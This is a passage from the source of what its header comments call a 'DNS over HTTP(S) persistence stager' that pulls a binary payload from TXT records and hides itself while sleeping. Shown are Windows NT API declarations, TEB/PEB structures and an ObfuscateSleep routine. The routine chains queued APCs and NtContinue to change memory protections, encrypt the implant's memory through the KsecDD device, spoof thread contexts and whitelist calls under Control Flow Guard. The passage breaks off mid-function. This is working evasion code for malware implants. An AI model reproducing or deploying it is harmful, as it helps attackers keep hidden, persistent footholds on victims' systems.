PSECURITY_DESCRIPTOR SecurityDescriptor, 123 | BOOLEAN CreateSuspended, 124 | PVOID StackAddr, 125 | SIZE_T StackReserved, 126 | SIZE_T StackCommit, 127 | PVOID StartAddres, 128 | PVOID StartParameter, 129 | PHANDLE ThreadHandle, 130 | PCLIENT_ID ClientId 131 | ); 132 | 133 | NTSYSAPI 134 | NTSTATUS 135 | NTAPI 136 | NtAlertResumeThread( 137 | HANDLE ThreadHandle, 138 | PULONG SuspendCount 139 | ); 140 | 141 | NTSYSAPI 142 | NTSTATUS 143 | NTAPI 144 | NtSetContextThread( 145 | HANDLE ThreadHandle, 146 | PCONTEXT Context 147 | ); 148 | 149 | NTSYSAPI 150 | NTSTATUS 151 | NTAPI 152 | NtGetContextThread( 153 | HANDLE ThreadHandle, 154 | PCONTEXT Context 155 | ); 156 | 157 | NTSYSAPI 158 | NTSTATUS 159 | NTAPI 160 | NtTerminateThread( 161 | HANDLE ThreadHandle, 162 | NTSTATUS ExitStatus 163 | ); 164 | 165 | NTSYSAPI 166 | VOID 167 | NTAPI 168 | RtlCaptureContext( 169 | PCONTEXT ContextRecord 170 | ); 171 | 172 | NTSYSAPI 173 | NTSTATUS 174 | NTAPI 175 | NtDelayExecution( 176 | BOOLEAN Alertable, 177 | PLARGE_INTEGER DelayInterval 178 | ); 179 | 180 | NTSYSAPI 181 | NTSTATUS 182 | NTAPI 183 | NtQueueApcThread( 184 | HANDLE ThreadHandle, 185 | LPVOID ApcRoutine, 186 | LPVOID ApcRoutineContext, 187 | LPVOID ApcStatusBlock, 188 | LPVOID ApcReserved 189 | ); 190 | 191 | NTSYSAPI 192 | NTSTATUS 193 | NTAPI 194 | NtCreateThreadEx( 195 | PHANDLE hThread, 196 | ACCESS_MASK DesiredAccess, 197 | PVOID ObjectAttributes, 198 | HANDLE ProcessHandle, 199 | PVOID StartAddress, 200 | PVOID Parameter, 201 | BOOL CreateSuspended, 202 | SIZE_T StackZeroBits, 203 | SIZE_T SizeOfStackCommit, 204 | SIZE_T SizeOfStackReserve, 205 | PVOID BytesBuffer 206 | ); 207 | 208 | NTSYSAPI 209 | PVOID 210 | NTAPI 211 | RtlAllocateHeap( 212 | PVOID HeapHandle, 213 | ULONG Flags, 214 | SIZE_T Size 215 | ); 216 | 217 | NTSYSAPI 218 | NTSTATUS 219 | NTAPI 220 | NtSuspendThread( 221 | HANDLE ThreadHandle, 222 | PULONG PreviousSuspendCount 223 | ); 224 | 225 | NTSYSAPI 226 | NTSTATUS 227 | NTAPI 228 | NtResumeThread( 229 | HANDLE ThreadHandle, 230 | PULONG PreviousSuspendCount 231 | ); 232 | 233 | NTSYSAPI 234 | NTSTATUS 235 | NTAPI 236 | NtCreateEvent( 237 | PHANDLE EventHandle, 238 | ACCESS_MASK DesiredAccess, 239 | PVOID ObjectAttributes, 240 | ULONG EventType, 241 | BOOLEAN InitialState 242 | ); 243 | 244 | NTSYSAPI 245 | NTSTATUS 246 | NTAPI 247 | NtOpenThread( 248 | PHANDLE ThreadHandle, 249 | ACCESS_MASK DesiredAccess, 250 | PVOID ObjectAttributes, 251 | PCLIENT_ID ClientId 252 | ); 253 | 254 | NTSYSAPI 255 | BOOLEAN 256 | NTAPI 257 | RtlFreeHeap( 258 | PVOID HeapHandle, 259 | ULONG Flags, 260 | PVOID BaseAddress 261 | ); 262 | 263 | NTSYSAPI 264 | NTSTATUS 265 | NTAPI 266 | NtOpenFile( 267 | PHANDLE FileHandle, 268 | ACCESS_MASK DesiredAccess, 269 | OBJECT_ATTRIBUTES* ObjectAttributes, 270 | PIO_STATUS_BLOCK IoStatusBlock, 271 | ULONG ShareAccess, 272 | ULONG OpenOptions 273 | ); 274 | 275 | NTSYSAPI 276 | NTSTATUS 277 | NTAPI 278 | NtTestAlert( 279 | VOID 280 | ); 281 | 282 | NTSYSAPI 283 | NTSTATUS 284 | NTAPI 285 | NtContinue( 286 | PCONTEXT ThreadContext, 287 | BOOLEAN RaiseAlert 288 | ); 289 | 290 | NTSYSAPI 291 | NTSTATUS 292 | NTAPI 293 | NtClose( 294 | HANDLE Handle 295 | ); 296 | 297 | #endif 298 | -------------------------------------------------------------------------------- /source/tebpeb.h: -------------------------------------------------------------------------------- 1 | /*- 2 | * 3 | * dns over http(s) persistence stager. 4 | * grabs a binary payload over a txt 5 | * record before going back to sleep 6 | * for a specified time. 7 | * 8 | * before going to sleep, it will try 9 | * to obfuscate itself in memory and 10 | * hide its return address. 11 | * 12 | * Copyright (c) 2021 Austin Hudson 13 | * Copyright (c) 2021 GuidePoint Security LLC 14 | * 15 | -*/ 16 | 17 | #ifndef _TEBPEB_H_ 18 | #define _TEBPEB_H_ 19 | 20 | typedef void *PPS_POST_PROCESS_INIT_ROUTINE; 21 | 22 | typedef struct _LSA_UNICODE_STRING { 23 | USHORT Length; 24 | USHORT MaximumLength; 25 | PWSTR Buffer; 26 | } LSA_UNICODE_STRING, *PLSA_UNICODE_STRING, UNICODE_STRING, *PUNICODE_STRING; 27 | 28 | typedef struct _OBJECT_ATTRIBUTES { 29 | ULONG Length; 30 | HANDLE RootDirectory; 31 | PUNICODE_STRING ObjectName; 32 | ULONG Attributes; 33 | PVOID SecurityDescriptor; 34 | PVOID SecurityQualityOfService; 35 | } OBJECT_ATTRIBUTES; 36 | 37 | typedef struct _STRING { 38 | USHORT Length; 39 | USHORT MaximumLength; 40 | PCHAR Buffer; 41 | } STRING, *PSTRING, ANSI_STRING, *PANSI_STRING; 42 | 43 | typedef struct _RTL_USER_PROCESS_PARAMETERS { 44 | BYTE Reserved1[16]; 45 | PVOID Reserved2[10]; 46 | UNICODE_STRING ImagePathName; 47 | UNICODE_STRING CommandLine; 48 | } RTL_USER_PROCESS_PARAMETERS, *PRTL_USER_PROCESS_PARAMETERS; 49 | 50 | // PEB defined by rewolf 51 | // http://blog.rewolf.pl/blog/?p=573 52 | typedef struct _PEB_LDR_DATA { 53 | ULONG Length; 54 | BOOL Initialized; 55 | LPVOID SsHandle; 56 | LIST_ENTRY InLoadOrderModuleList; 57 | LIST_ENTRY InMemoryOrderModuleList; 58 | LIST_ENTRY InInitializationOrderModuleList; 59 | } PEB_LDR_DATA, *PPEB_LDR_DATA; 60 | 61 | typedef struct _LDR_DATA_TABLE_ENTRY 62 | { 63 | LIST_ENTRY InLoadOrderLinks; 64 | LIST_ENTRY InMemoryOrderLinks; 65 | LIST_ENTRY InInitializationOrderLinks; 66 | LPVOID DllBase; 67 | LPVOID EntryPoint; 68 | ULONG SizeOfImage; 69 | UNICODE_STRING FullDllName; 70 | UNICODE_STRING BaseDllName; 71 | } LDR_DATA_TABLE_ENTRY, *PLDR_DATA_TABLE_ENTRY; 72 | 73 | typedef struct _PEB { 74 | BYTE InheritedAddressSpace; 75 | BYTE ReadImageFileExecOptions; 76 | BYTE BeingDebugged; 77 | BYTE _SYSTEM_DEPENDENT_01; 78 | 79 | LPVOID Mutant; 80 | LPVOID ImageBaseAddress; 81 | 82 | PPEB_LDR_DATA Ldr; 83 | PRTL_USER_PROCESS_PARAMETERS ProcessParameters; 84 | LPVOID SubSystemData; 85 | LPVOID ProcessHeap; 86 | LPVOID FastPebLock; 87 | LPVOID _SYSTEM_DEPENDENT_02; 88 | LPVOID _SYSTEM_DEPENDENT_03; 89 | LPVOID _SYSTEM_DEPENDENT_04; 90 | union { 91 | LPVOID KernelCallbackTable; 92 | LPVOID UserSharedInfoPtr; 93 | }; 94 | DWORD SystemReserved; 95 | DWORD _SYSTEM_DEPENDENT_05; 96 | LPVOID _SYSTEM_DEPENDENT_06; 97 | LPVOID TlsExpansionCounter; 98 | LPVOID TlsBitmap; 99 | DWORD TlsBitmapBits[2]; 100 | LPVOID ReadOnlySharedMemoryBase; 101 | LPVOID _SYSTEM_DEPENDENT_07; 102 | LPVOID ReadOnlyStaticServerData; 103 | LPVOID AnsiCodePageData; 104 | LPVOID OemCodePageData; 105 | LPVOID UnicodeCaseTableData; 106 | DWORD NumberOfProcessors; 107 | union 108 | { 109 | DWORD NtGlobalFlag; 110 | LPVOID dummy02; 111 | }; 112 | LARGE_INTEGER CriticalSectionTimeout; 113 | LPVOID HeapSegmentReserve; 114 | LPVOID HeapSegmentCommit; 115 | LPVOID HeapDeCommitTotalFreeThreshold; 116 | LPVOID HeapDeCommitFreeBlockThreshold; 117 | DWORD NumberOfHeaps; 118 | DWORD MaximumNumberOfHeaps; 119 | LPVOID ProcessHeaps; 120 | LPVOID GdiSharedHandleTable; 121 | LPVOID ProcessStarterHelper; 122 | LPVOID GdiDCAttributeList; 123 | LPVOID LoaderLock; 124 | DWORD OSMajorVersion; 125 | DWORD OSMinorVersion; 126 | WORD OSBuildNumber; 127 | WORD OSCSDVersion; 128 | DWORD OSPlatformId; 129 | DWORD ImageSubsystem; 130 | DWORD ImageSubsystemMajorVersion; 131 | LPVOID ImageSubsystemMinorVersion; 132 | union 133 | { 134 | LPVOID ImageProcessAffinityMask; 135 | LPVOID ActiveProcessAffinityMask; 136 | }; 137 | #ifdef _WIN64 138 | LPVOID GdiHandleBuffer[64]; 139 | #else 140 | LPVOID GdiHandleBuffer[32]; 141 | #endif 142 | LPVOID PostProcessInitRoutine; 143 | LPVOID TlsExpansionBitmap; 144 | DWORD TlsExpansionBitmapBits[32]; 145 | LPVOID SessionId; 146 | ULARGE_INTEGER AppCompatFlags; 147 | ULARGE_INTEGER AppCompatFlagsUser; 148 | LPVOID pShimData; 149 | LPVOID AppCompatInfo; 150 | PUNICODE_STRING CSDVersion; 151 | LPVOID ActivationContextData; 152 | LPVOID ProcessAssemblyStorageMap; 153 | LPVOID SystemDefaultActivationContextData; 154 | LPVOID SystemAssemblyStorageMap; 155 | LPVOID MinimumStackCommit; 156 | } PEB, *PPEB; 157 | 158 | 159 | typedef struct _CLIENT_ID { 160 | HANDLE UniqueProcess; 161 | HANDLE UniqueThread; 162 | } CLIENT_ID, *PCLIENT_ID; 163 | 164 | typedef struct _RTL_ACTIVATION_CONTEXT_STACK_FRAME *PRTL_ACTIVATION_CONTEXT_STACK_FRAME; 165 | typedef struct _ACTIVATION_CONTEXT *PACTIVATION_CONTEXT; 166 | typedef struct _TEB_ACTIVE_FRAME *PTEB_ACTIVE_FRAME; 167 | typedef struct _TEB_ACTIVE_FRAME_CONTEXT *PTEB_ACTIVE_FRAME_CONTEXT; 168 | 169 | typedef struct _RTL_ACTIVATION_CONTEXT_STACK_FRAME { 170 | PRTL_ACTIVATION_CONTEXT_STACK_FRAME Previous; 171 | PACTIVATION_CONTEXT *ActivationContext; 172 | ULONG Flags; 173 | } RTL_ACTIVATION_CONTEXT_STACK_FRAME, *PRTL_ACTIVATION_CONTEXT_STACK_FRAME; 174 | 175 | typedef struct _ACTIVATION_CONTEXT_STACK 176 | { 177 | PRTL_ACTIVATION_CONTEXT_STACK_FRAME ActiveFrame; 178 | LIST_ENTRY FrameListCache; 179 | ULONG Flags; 180 | ULONG NextCookieSequenceNumber; 181 | ULONG StackId; 182 | } ACTIVATION_CONTEXT_STACK, *PACTIVATION_CONTEXT_STACK; 183 | #define GDI_BATCH_BUFFER_SIZE 310 184 | 185 | typedef struct _GDI_TEB_BATCH 186 | { 187 | ULONG Offset; 188 | ULONG_PTR HDC; 189 | ULONG Buffer[GDI_BATCH_BUFFER_SIZE]; 190 | } GDI_TEB_BATCH, *PGDI_TEB_BATCH; 191 | 192 | typedef struct _TEB_ACTIVE_FRAME_CONTEXT 193 | { 194 | ULONG Flags; 195 | PSTR FrameName; 196 | } TEB_ACTIVE_FRAME_CONTEXT, *PTEB_ACTIVE_FRAME_CONTEXT; 197 | 198 | typedef struct _TEB_ACTIVE_FRAME 199 | { 200 | ULONG Flags; 201 | struct _TEB_ACTIVE_FRAME *Previous; 202 | PTEB_ACTIVE_FRAME_CONTEXT Context; 203 | } TEB_ACTIVE_FRAME, *PTEB_ACTIVE_FRAME; 204 | 205 | #if !defined(_MSC_VER) 206 | typedef struct _PROCESSOR_NUMBER { 207 | USHORT Group; 208 | UCHAR Number; 209 | UCHAR Reserved; 210 | } PROCESSOR_NUMBER, *PPROCESSOR_NUMBER; 211 | #endif 212 | 213 | typedef struct _TEB 214 | { 215 | NT_TIB NtTib; 216 | 217 | PVOID EnvironmentPointer; 218 | CLIENT_ID ClientId; 219 | PVOID ActiveRpcHandle; 220 | PVOID ThreadLocalStoragePointer; 221 | PPEB ProcessEnvironmentBlock; 222 | 223 | ULONG LastErrorValue; 224 | ULONG CountOfOwnedCriticalSections; 225 | PVOID CsrClientThread; 226 | PVOID Win32ThreadInfo; 227 | ULONG User32Reserved[26]; 228 | ULONG UserReserved[5]; 229 | PVOID WOW32Reserved; 230 | LCID CurrentLocale; 231 | ULONG FpSoftwareStatusRegister; 232 | PVOID SystemReserved1[54]; 233 | NTSTATUS ExceptionCode; 234 | PVOID ActivationContextStackPointer; 235 | #ifdef _M_X64 236 | UCHAR SpareBytes[24]; 237 | #else 238 | UCHAR SpareBytes[36]; 239 | #endif 240 | ULONG TxFsContext; 241 | 242 | GDI_TEB_BATCH GdiTebBatch; 243 | CLIENT_ID RealClientId; 244 | HANDLE GdiCachedProcessHandle; 245 | ULONG GdiClientPID; 246 | ULONG GdiClientTID; 247 | PVOID GdiThreadLocalInfo; 248 | ULONG_PTR Win32ClientInfo[62]; 249 | PVOID glDispatchTable[233]; 250 | ULONG_PTR glReserved1[29]; 251 | PVOID glReserved2; 252 | PVOID glSectionInfo; 253 | PVOID glSection; 254 | PVOID glTable; 255 | PVOID glCurrentRC; 256 | PVOID glContext; 257 | 258 | NTSTATUS LastStatusValue; 259 | UNICODE_STRING StaticUnicodeString; 260 | WCHAR StaticUnicodeBuffer[261]; 261 | 262 | PVOID DeallocationStack; 263 | PVOID TlsSlots[64]; 264 | LIST_ENTRY TlsLinks; 265 | 266 | PVOID Vdm; 267 | PVOID ReservedForNtRpc; 268 | PVOID DbgSsReserved[2]; 269 | 270 | ULONG HardErrorMode; 271 | #ifdef _M_X64 272 | PVOID Instrumentation[11]; 273 | #else 274 | PVOID Instrumentation[9]; 275 | #endif 276 | GUID ActivityId; 277 | 278 | PVOID SubProcessTag; 279 | PVOID EtwLocalData; 280 | PVOID EtwTraceData; 281 | PVOID WinSockData; 282 | ULONG GdiBatchCount; 283 | 284 | union 285 | { 286 | PROCESSOR_NUMBER CurrentIdealProcessor; 287 | ULONG IdealProcessorValue; 288 | struct 289 | { 290 | UCHAR ReservedPad0; 291 | UCHAR ReservedPad1; 292 | UCHAR ReservedPad2; 293 | UCHAR IdealProcessor; 294 | }; 295 | }; 296 | 297 | ULONG GuaranteedStackBytes; 298 | PVOID ReservedForPerf; 299 | PVOID ReservedForOle; 300 | ULONG WaitingOnLoaderLock; 301 | PVOID SavedPriorityState; 302 | ULONG_PTR SoftPatchPtr1; 303 | PVOID ThreadPoolData; 304 | PVOID *TlsExpansionSlots; 305 | #ifdef _M_X64 306 | PVOID DeallocationBStore; 307 | PVOID BStoreLimit; 308 | #endif 309 | ULONG MuiGeneration; 310 | ULONG IsImpersonating; 311 | PVOID NlsCache; 312 | PVOID pShimData; 313 | ULONG HeapVirtualAffinity; 314 | HANDLE CurrentTransactionHandle; 315 | PTEB_ACTIVE_FRAME ActiveFrame; 316 | PVOID FlsData; 317 | 318 | PVOID PreferredLanguages; 319 | PVOID UserPrefLanguages; 320 | PVOID MergedPrefLanguages; 321 | ULONG MuiImpersonation; 322 | 323 | union 324 | { 325 | USHORT CrossTebFlags; 326 | USHORT SpareCrossTebBits : 16; 327 | }; 328 | union 329 | { 330 | USHORT SameTebFlags; 331 | struct 332 | { 333 | USHORT SafeThunkCall : 1; 334 | USHORT InDebugPrint : 1; 335 | USHORT HasFiberData : 1; 336 | USHORT SkipThreadAttach : 1; 337 | USHORT WerInShipAssertCode : 1; 338 | USHORT RanProcessInit : 1; 339 | USHORT ClonedThread : 1; 340 | USHORT SuppressDebugMsg : 1; 341 | USHORT DisableUserStackWalk : 1; 342 | USHORT RtlExceptionAttached : 1; 343 | USHORT InitialThread : 1; 344 | USHORT SessionAware : 1; 345 | USHORT SpareSameTebBits : 4; 346 | }; 347 | }; 348 | 349 | PVOID TxnScopeEnterCallback; 350 | PVOID TxnScopeExitCallback; 351 | PVOID TxnScopeContext; 352 | ULONG LockCount; 353 | ULONG SpareUlong0; 354 | PVOID ResourceRetValue; 355 | PVOID ReservedForWdf; 356 | } TEB, *PTEB; 357 | 358 | #endif 359 | -------------------------------------------------------------------------------- /source/sleep.c: -------------------------------------------------------------------------------- 1 | /*- 2 | * 3 | * dns over http(s) persistence stager. 4 | * grabs a binary payload over a txt 5 | * record before going back to sleep 6 | * for a specified time. 7 | * 8 | * before going to sleep, it will try 9 | * to obfuscate itself in memory and 10 | * hide its return address. 11 | * 12 | * Copyright (c) 2021 Austin Hudson 13 | * Copyright (c) 2021 GuidePoint Security LLC 14 | * 15 | -*/ 16 | 17 | #include "common.h" 18 | 19 | D_SEC(B) NTSTATUS ObfuscateAddFn( PINSTANCE Ins, LPVOID Pointer ) 20 | { 21 | PIMAGE_DOS_HEADER DosHdr = NULL; 22 | PIMAGE_NT_HEADERS NtsHdr = NULL; 23 | NTSTATUS Status = STATUS_SUCCESS; 24 | SIZE_T Length = 0; 25 | CFG_CALL_TARGET_INFO CfInfo = { 0 }; 26 | EXTENDED_PROCESS_INFORMATION PrInfo = { 0 }; 27 | 28 | if ( ! Ins->nt.NtQueryInformationProcess || 29 | ! Ins->kb.SetProcessValidCallTargets 30 | ) return STATUS_SUCCESS; 31 | 32 | DosHdr = C_PTR( Ins->nt.Base ); 33 | NtsHdr = C_PTR( U_PTR( DosHdr ) + DosHdr->e_lfanew ); 34 | Length = NtsHdr->OptionalHeader.SizeOfImage; 35 | Length = ( Length + 0x1000 - 1 ) &~ ( 0x1000 - 1 ); 36 | 37 | PrInfo.ExtendedProcessInfo = ProcessControlFlowGuardPolicy; 38 | PrInfo.ExtendedProcessInfoBuffer = 0; 39 | 40 | Status = Ins->nt.NtQueryInformationProcess( 41 | NtCurrentProcess(), 42 | ProcessCookie | ProcessUserModeIOPL, 43 | &PrInfo, 44 | sizeof( PrInfo ), 45 | NULL 46 | ); 47 | 48 | if ( Status == STATUS_SUCCESS ) { 49 | CfInfo.Flags = CFG_CALL_TARGET_VALID; 50 | CfInfo.Offset = U_PTR( Pointer ) - U_PTR( Ins->nt.Base ); 51 | 52 | Status = Ins->kb.SetProcessValidCallTargets( 53 | NtCurrentProcess( ), 54 | Ins->nt.Base, 55 | Length, 56 | 1, 57 | &CfInfo 58 | ) ? STATUS_SUCCESS : NtCurrentTeb()->LastErrorValue; 59 | }; 60 | return Status; 61 | }; 62 | 63 | D_SEC(B) NTSTATUS ObfuscateSleep( PINSTANCE Ins, PCONTEXT FakeFrame, PLARGE_INTEGER Timeout ) 64 | { 65 | NTSTATUS ContextStatus = STATUS_SUCCESS; 66 | 67 | HANDLE ContextRopThd = NULL; 68 | HANDLE ContextSrcThd = NULL; 69 | HANDLE ContextSyncEv = NULL; 70 | HANDLE ContextSecDev = NULL; 71 | 72 | WCHAR ContextSecStr[ MAX_PATH ]; 73 | CLIENT_ID ContextSrcCid = { 0 }; 74 | UNICODE_STRING ContextSrcUni = { 0 }; 75 | IO_STATUS_BLOCK ContextIoStat = { 0 }; 76 | OBJECT_ATTRIBUTES ContextSrcObj = { 0 }; 77 | OBJECT_ATTRIBUTES ContextSecObj = { 0 }; 78 | 79 | ULONG ContextSusCnt = 0; 80 | 81 | PCONTEXT ContextRopEnt = NULL; 82 | PCONTEXT ContextRopExt = NULL; 83 | PCONTEXT ContextRopDel = NULL; 84 | PCONTEXT ContextRopSet = NULL; 85 | PCONTEXT ContextRopRes = NULL; 86 | PCONTEXT ContextRopEnc = NULL; 87 | PCONTEXT ContextRopDec = NULL; 88 | PCONTEXT ContextStolen = NULL; 89 | 90 | PVOID ContextMemPtr = NULL; 91 | SIZE_T ContextMemLen = 0; 92 | ULONG ContextMemPrt = 0; 93 | 94 | PVOID ContextResPtr = NULL; 95 | SIZE_T ContextResLen = 0; 96 | ULONG ContextResPrt = 0; 97 | 98 | PCONTEXT ContextCtxCap = NULL; 99 | PCONTEXT ContextCapMem = NULL; 100 | PCONTEXT ContextCtxSet = NULL; 101 | PCONTEXT ContextCtxRes = NULL; 102 | 103 | ContextMemPtr = Ins->Buffer; 104 | ContextMemLen = Ins->Length; 105 | 106 | ContextResPtr = Ins->Buffer; 107 | ContextResLen = Ins->Length; 108 | 109 | ObfuscateAddFn( Ins, C_PTR( Ins->nt.ExitThread ) ); 110 | ObfuscateAddFn( Ins, C_PTR( Ins->nt.NtContinue ) ); 111 | ObfuscateAddFn( Ins, C_PTR( Ins->nt.NtTestAlert ) ); 112 | ObfuscateAddFn( Ins, C_PTR( Ins->nt.NtDelayExecution ) ); 113 | ObfuscateAddFn( Ins, C_PTR( Ins->nt.NtGetContextThread ) ); 114 | ObfuscateAddFn( Ins, C_PTR( Ins->nt.NtSetContextThread ) ); 115 | ObfuscateAddFn( Ins, C_PTR( Ins->nt.NtWaitForSingleObject ) ); 116 | ObfuscateAddFn( Ins, C_PTR( Ins->nt.NtDeviceIoControlFile ) ); 117 | ObfuscateAddFn( Ins, C_PTR( Ins->nt.NtProtectVirtualMemory ) ); 118 | 119 | ContextSrcObj.Length = sizeof( ContextSrcObj ); 120 | ContextSecObj.Length = sizeof( ContextSecObj ); 121 | 122 | ContextSecStr[0] = L'\\'; 123 | ContextSecStr[1] = L'D'; 124 | ContextSecStr[2] = L'e'; 125 | ContextSecStr[3] = L'v'; 126 | ContextSecStr[4] = L'i'; 127 | ContextSecStr[5] = L'c'; 128 | ContextSecStr[6] = L'e'; 129 | ContextSecStr[7] = L'\\'; 130 | ContextSecStr[8] = L'K'; 131 | ContextSecStr[9] = L's'; 132 | ContextSecStr[10] = L'e'; 133 | ContextSecStr[11] = L'c'; 134 | ContextSecStr[12] = L'D'; 135 | ContextSecStr[13] = L'D'; 136 | ContextSecStr[14] = L'\0'; 137 | Ins->nt.RtlInitUnicodeString( &ContextSrcUni, ContextSecStr ); 138 | InitializeObjectAttributes( &ContextSecObj, &ContextSrcUni, 0, 0, NULL ); 139 | 140 | ContextStatus = Ins->nt.NtOpenFile( 141 | &ContextSecDev, 142 | SYNCHRONIZE | FILE_READ_DATA, 143 | &ContextSecObj, 144 | &ContextIoStat, 145 | FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE, 146 | 0 147 | ); 148 | 149 | if ( ContextStatus != STATUS_SUCCESS ) { 150 | goto END_ROP_CHAIN; 151 | }; 152 | 153 | ContextSrcCid.UniqueProcess = 0; 154 | ContextSrcCid.UniqueThread = NtCurrentTeb()->ClientId.UniqueThread; 155 | 156 | ContextStatus = Ins->nt.NtOpenThread( 157 | &ContextSrcThd, 158 | THREAD_ALL_ACCESS, 159 | &ContextSrcObj, 160 | &ContextSrcCid 161 | ); 162 | 163 | if ( ContextStatus != STATUS_SUCCESS ) { 164 | goto END_ROP_CHAIN; 165 | }; 166 | 167 | ContextStatus = Ins->nt.NtCreateThreadEx( 168 | &ContextRopThd, 169 | THREAD_ALL_ACCESS, 170 | NULL, 171 | NtCurrentProcess(), 172 | C_PTR( FakeFrame->Rip ), 173 | NULL, 174 | TRUE, 175 | 0, 176 | 0xFFFF, 177 | 0xFFFF, 178 | NULL 179 | ); 180 | 181 | if ( ContextStatus != STATUS_SUCCESS ) { 182 | goto END_ROP_CHAIN; 183 | }; 184 | 185 | ContextStatus = Ins->nt.NtCreateEvent( 186 | &ContextSyncEv, 187 | EVENT_ALL_ACCESS, 188 | NULL, 189 | 1, 190 | FALSE 191 | ); 192 | 193 | if ( ContextStatus != STATUS_SUCCESS ) { 194 | goto END_ROP_CHAIN; 195 | }; 196 | 197 | ContextStolen = NtMemAlloc( Ins, sizeof( CONTEXT ) ); 198 | if ( ! ContextStolen ) { 199 | goto END_ROP_CHAIN; 200 | }; 201 | 202 | ContextStolen->ContextFlags = CONTEXT_FULL; 203 | ContextStatus = Ins->nt.NtGetContextThread( 204 | ContextRopThd, 205 | ContextStolen 206 | ); 207 | 208 | if ( ContextStatus != STATUS_SUCCESS ) { 209 | goto END_ROP_CHAIN; 210 | }; 211 | 212 | ContextRopEnt = NtMemAlloc( Ins, sizeof( CONTEXT ) ); 213 | if ( ! ContextRopEnt ) { 214 | goto END_ROP_CHAIN; 215 | }; 216 | 217 | #if defined( _WIN64 ) 218 | *ContextRopEnt = *ContextStolen; 219 | ContextRopEnt->ContextFlags = CONTEXT_FULL; 220 | ContextRopEnt->Rsp = U_PTR( ContextStolen->Rsp ); 221 | ContextRopEnt->Rip = U_PTR( Ins->nt.NtWaitForSingleObject ); 222 | ContextRopEnt->Rcx = U_PTR( ContextSyncEv ); 223 | ContextRopEnt->Rdx = U_PTR( FALSE ); 224 | ContextRopEnt->R8 = U_PTR( NULL ); 225 | *( ULONG_PTR * )( ContextRopEnt->Rsp + 0x00 ) = ( ULONG_PTR ) Ins->nt.NtTestAlert; 226 | #else 227 | *ContextRopEnt = *ContextStolen; 228 | ContextRopEnt->ContextFlags = CONTEXT_FULL; 229 | ContextRopEnt->Esp = U_PTR( ContextStolen->Esp - 0x100 ); 230 | ContextRopEnt->Eip = U_PTR( Ins->nt.NtWaitForSingleObject ); 231 | *( ULONG_PTR * )( ContextRopEnt->Rsp + 0x00 ) = ( ULONG_PTR ) Ins->nt.NtTestAlert; 232 | 233 | // insert argument chain here 234 | #endif 235 | 236 | ContextStatus = Ins->nt.NtQueueApcThread( 237 | ContextRopThd, 238 | Ins->nt.NtContinue, 239 | ContextRopEnt, 240 | NULL, 241 | NULL 242 | ); 243 | 244 | if ( ContextStatus != STATUS_SUCCESS ) { 245 | goto END_ROP_CHAIN; 246 | }; 247 | 248 | ContextRopSet = NtMemAlloc( Ins, sizeof( CONTEXT ) ); 249 | if ( ! ContextRopSet ) { 250 | goto END_ROP_CHAIN; 251 | }; 252 | 253 | *ContextRopSet = *ContextStolen; 254 | ContextRopSet->ContextFlags = CONTEXT_FULL; 255 | ContextRopSet->Rsp = U_PTR( ContextStolen->Rsp - 0x1000 ); 256 | ContextRopSet->Rip = U_PTR( Ins->nt.NtProtectVirtualMemory ); 257 | ContextRopSet->Rcx = U_PTR( NtCurrentProcess() ); 258 | ContextRopSet->Rdx = U_PTR( &ContextMemPtr ); 259 | ContextRopSet->R8 = U_PTR( &ContextMemLen ); 260 | ContextRopSet->R9 = U_PTR( PAGE_READWRITE ); 261 | *( ULONG_PTR *)( ContextRopSet->Rsp + 0x00 ) = ( ULONG_PTR ) Ins->nt.NtTestAlert; 262 | *( ULONG_PTR *)( ContextRopSet->Rsp + 0x28 ) = ( ULONG_PTR ) &ContextMemPrt; 263 | 264 | ContextStatus = Ins->nt.NtQueueApcThread( 265 | ContextRopThd, 266 | Ins->nt.NtContinue, 267 | ContextRopSet, 268 | NULL, 269 | NULL 270 | ); 271 | 272 | if ( ContextStatus != STATUS_SUCCESS ) { 273 | goto END_ROP_CHAIN; 274 | }; 275 | 276 | ContextRopEnc = NtMemAlloc( Ins, sizeof( CONTEXT ) ); 277 | if ( ! ContextRopEnc ) { 278 | goto END_ROP_CHAIN; 279 | }; 280 | 281 | *ContextRopEnc = *ContextStolen; 282 | ContextRopEnc->ContextFlags = CONTEXT_FULL; 283 | ContextRopEnc->Rsp = U_PTR( ContextStolen->Rsp - 0x2000 ); 284 | ContextRopEnc->Rip = U_PTR( Ins->nt.NtDeviceIoControlFile ); 285 | ContextRopEnc->Rcx = U_PTR( ContextSecDev ); 286 | ContextRopEnc->Rdx = U_PTR( NULL ); 287 | ContextRopEnc->R8 = U_PTR( NULL ); 288 | ContextRopEnc->R9 = U_PTR( NULL ); 289 | *( ULONG_PTR *)( ContextRopEnc->Rsp + 0x00 ) = ( ULONG_PTR ) Ins->nt.NtTestAlert; 290 | *( ULONG_PTR *)( ContextRopEnc->Rsp + 0x28 ) = ( ULONG_PTR ) &ContextIoStat; 291 | *( ULONG_PTR *)( ContextRopEnc->Rsp + 0x30 ) = ( ULONG_PTR ) IOCTL_KSEC_ENCRYPT_MEMORY; 292 | *( ULONG_PTR *)( ContextRopEnc->Rsp + 0x38 ) = ( ULONG_PTR ) ContextMemPtr; 293 | *( ULONG_PTR *)( ContextRopEnc->Rsp + 0x40 ) = ( ULONG_PTR ) ( ContextMemLen + 0x1000 - 1 ) &~ ( 0x1000 - 1 ); 294 | *( ULONG_PTR *)( ContextRopEnc->Rsp + 0x48 ) = ( ULONG_PTR ) ContextMemPtr; 295 | *( ULONG_PTR *)( ContextRopEnc->Rsp + 0x50 ) = ( ULONG_PTR ) ( ContextMemLen + 0x1000 - 1 ) &~ ( 0x1000 - 1 ); 296 | 297 | ContextStatus = Ins->nt.NtQueueApcThread( 298 | ContextRopThd, 299 | Ins->nt.NtContinue, 300 | ContextRopEnc, 301 | NULL, 302 | NULL 303 | ); 304 | 305 | if ( ContextStatus != STATUS_SUCCESS ) { 306 | goto END_ROP_CHAIN; 307 | }; 308 | 309 | ContextCtxCap = NtMemAlloc( Ins, sizeof( CONTEXT ) ); 310 | if ( ! ContextCtxCap ) { 311 | goto END_ROP_CHAIN; 312 | }; 313 | 314 | ContextCapMem = NtMemAlloc( Ins, sizeof( CONTEXT ) ); 315 | if ( ! ContextCapMem ) { 316 | goto END_ROP_CHAIN; 317 | }; 318 | 319 | *ContextCtxCap = *ContextStolen; 320 | ContextCapMem->ContextFlags = CONTEXT_FULL; 321 | ContextCtxCap->ContextFlags = CONTEXT_FULL; 322 | ContextCtxCap->Rsp = U_PTR( ContextStolen->Rsp ); 323 | ContextCtxCap->Rip = U_PTR( Ins->nt.NtGetContextThread ); 324 | 